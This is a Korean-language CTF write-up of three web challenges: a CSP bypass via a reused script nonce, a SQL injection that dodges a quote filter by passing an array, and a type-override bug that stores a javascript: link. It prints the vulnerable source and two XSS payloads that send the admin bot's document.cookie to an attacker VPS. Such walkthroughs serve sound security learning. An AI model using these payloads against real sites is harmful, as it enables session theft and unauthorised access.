CTF 챌린지 Write-up: Babier CSP, Missing Flavortext, Web Utils

CTF 챌린지 Write-up

이번 CTF 챌린지에서는 세 가지 웹 취약점 문제를 해결했습니다. Node.js에 대한 경험이 부족했기에 새로운 기술을 배우면서 문제를 풀어나갔습니다.

1. Babier CSP

문제 설명은 "Baby CSP was too hard for us, try Babier CSP."이며, Admin Bot이 제공되어 CSP(Content Security Policy)를 우회하여 XSS 공격으로 쿠키를 탈취하는 것이 목표입니다.

문제 코드는 다음과 같습니다:


const express = require('express');
const crypto = require("crypto");
const config = require("./config.js");
const app = express()
const port = process.env.port || 3000;

const SECRET = config.secret;
const NONCE = crypto.randomBytes(16).toString('base64');

const template = name => `
<html>

${name === '' ? '': `<h1>${name}</h1>`}
<a href='#' id=elem>View Fruit</a>

<script nonce=${NONCE}>
elem.onclick = () => {
  location = "/?name=" + encodeURIComponent(["apple", "orange", "pineapple", "pear"][Math.floor(4 * Math.random())]);
}
</script>

</html>
`;

app.get('/', (req, res) => {
  res.setHeader("Content-Security-Policy", `default-src none; script-src 'nonce-${NONCE}';`);
  res.send(template(req.query.name || ""));
})

app.use('/' + SECRET, express.static(__dirname + "/secret"));

app.listen(port, () => {
  console.log(`Example app listening at http://localhost:${port}`)
})

서버에서 `Content-Security-Policy: default-src none; script-src 'nonce-${NONCE}'` 헤더를 설정합니다. `script-src`에 nonce 값이 지정되면, 해당 nonce 값을 가진 내부 스크립트만 실행됩니다. 따라서 XSS를 통해 JavaScript를 실행하려면 페이로드에 해당 nonce 값을 포함해야 합니다. 예: <script nonce=xxx>alert(1)</script>

이 문제에서는 nonce 값이 무작위로 생성되지만, 요청마다 새로 생성되지 않고 초기값만 재사용됩니다. 따라서 응답 패킷에 포함된 nonce 값을 사용하여 페이로드를 정상적으로 실행할 수 있습니다.

페이로드:


https://babier-csp.dicec.tf/?name=%3Cscript%20nonce=LRGWAXOY98Es0zz0QOVmag==%3Ewindow.location=%22http://vpsip/%22%2bdocument.cookie%3C/script%3E

Admin Bot으로 위에서 구성한 링크에 접속하면 쿠키를 탈취할 수 있습니다. 소스 코드에 있는 secret 라우트를 통해 플래그를 얻을 수 있습니다.

2. Missing Flavortext

문제 소스 코드:


const crypto = require('crypto');
const db = require('better-sqlite3')('db.sqlite3')

// remake the `users` table
db.exec(`DROP TABLE IF EXISTS users;`);
db.exec(`CREATE TABLE users(
  id INTEGER PRIMARY KEY AUTOINCREMENT,
  username TEXT,
  password TEXT
);`);

// add an admin user with a random password
db.exec(`INSERT INTO users (username, password) VALUES (
  'admin',
  '${crypto.randomBytes(16).toString('hex')}'
)`);

const express = require('express');
const bodyParser = require('body-parser');

const app = express();

// parse json and serve static files
app.use(bodyParser.urlencoded({ extended: true }));
app.use(express.static('static'));

// login route
app.post('/login', (req, res) => {
  if (!req.body.username || !req.body.password) {
    return res.redirect('/');
  }

  if ([req.body.username, req.body.password].some(v => v.includes('\''))) {
    return res.redirect('/');
  }

  // see if user is in database
  const query = `SELECT id FROM users WHERE
    username = '${req.body.username}' AND
    password = '${req.body.password}'
  `;

  let id;
  try { id = db.prepare(query).get()?.id } catch {
    return res.redirect('/');
  }

  // correct login
  if (id) return res.sendFile('flag.html', { root: __dirname });

  // incorrect login
  return res.redirect('/');
});

app.listen(3000);

소스 코드를 통해 다음 정보를 얻을 수 있습니다:

  1. 데이터베이스에 admin 사용자가 존재하며, 비밀번호는 무작위로 생성됩니다.
  2. 올바른 사용자 이름과 비밀번호로 로그인하면 flag.html 파일이 전송됩니다. 플래그는 이 파일 안에 있을 것으로 추측됩니다.

SQL 쿼리 부분이 잠재적인 취약점입니다. 파라미터를 그대로 사용하여 SQL 쿼리를 생성하므로 SQL Injection이 가능할 수 있습니다.

하지만 if ([req.body.username, req.body.password].some(v => v.includes('\''))) 라인에서 사용자 이름과 비밀번호에 작은따옴표(')가 포함되는 것을 방지합니다. 이로 인해 쿼리문을 닫는 것이 불가능해 보입니다. 이 제한을 우회해야 합니다.

로컬 환경 설정 및 테스트

SQL 쿼리가 완성된 후 console.log(query);를 추가하여 SQL 쿼리를 출력하고 테스트합니다.

Node.js는 약한 타입 언어이므로, 다른 타입의 데이터를 전달할 수 있습니다. 비밀번호를 배열 형태로 전달하면 작은따옴표 검사를 우회할 수 있습니다. 이를 통해 SQL Injection을 성공시켜 플래그를 얻을 수 있습니다.

3. Web Utils

이 문제는 첫 번째 문제와 마찬가지로 XSS 공격으로 쿠키를 탈취하는 것이 목표입니다. 웹사이트는 'Link Shortener'와 'Pastebin' 두 가지 기능을 제공합니다.

초기 접근 시도

처음에는 'Pastebin' 기능을 사용하여 JavaScript 코드가 포함된 페이지를 생성하려고 했지만, public/view.html의 JavaScript 코드가 API로부터 받은 내용을 document.querySelector('div').textContent = data;를 사용하여 텍스트로만 표시하는 것을 확인했습니다. textContent는 HTML 태그를 포함한 모든 입력을 일반 텍스트로 처리하므로 XSS 공격은 불가능합니다.

소스 코드 분석

public/view.html의 JavaScript 코드를 자세히 살펴보면 다음과 같은 부분을 발견할 수 있습니다:


async () => {
  // ...
  const { data, type } = await res.json();
  // ...
  if (type === 'link') return window.location = data;
  // ...
  document.querySelector('div').textContent = data;
  // ...
}

API에서 datatype을 가져오는데, type'link'일 경우 window.locationdata로 설정되어 이동합니다. 만약 datajavascript:alert(1)로 제어할 수 있다면 XSS 공격이 가능합니다.

type=linkdata=javascript:alert(1) 데이터를 추가하는 방법은 'Link Shortener' 기능에 있습니다. routes/api.jscreateLink 핸들러를 보면:


  fastify.post('createLink', {
    handler: (req, rep) => {
      // ...
      const regex = new RegExp('^https?://');
      if (! regex.test(req.body.data))
        // ... invalid URL error ...
      database.addData({ type: 'link', ...req.body, uid });
      // ...
    },
    // ...
  });

createLink 기능은 data 값이 http:// 또는 https://로 시작하는지 정규 표현식으로 검사합니다. 이 제한을 직접적으로 우회하기는 어렵습니다.

하지만 database.addData({ type: 'link', ...req.body, uid }); 부분에서 ...req.body 스프레드 연산자를 사용하고 있다는 점에 주목해야 합니다. 만약 req.bodytype 필드를 함께 전달하면, type 값이 덮어씌워질 수 있습니다.

로컬 환경에서 테스트해 보면, createPaste API를 사용하여 type=link, data=javascript:alert(1) 데이터를 삽입할 수 있습니다. 이후 해당 링크로 접속하면 alert 창이 뜨는 것을 확인할 수 있습니다.

이 원리를 이용하여, 타겟 환경에서 type=link, data=javascript:window.location.href=\"http://vpsip/\"+document.cookie 데이터를 생성합니다. VPS에서 포트를 열어두고, 생성된 링크를 Admin Bot이 방문하도록 유도하여 쿠키를 탈취하고 플래그를 얻습니다.

태그: CSP XSS SQL Injection Node.js Web Hacking

7월 25일 00:57에 게시됨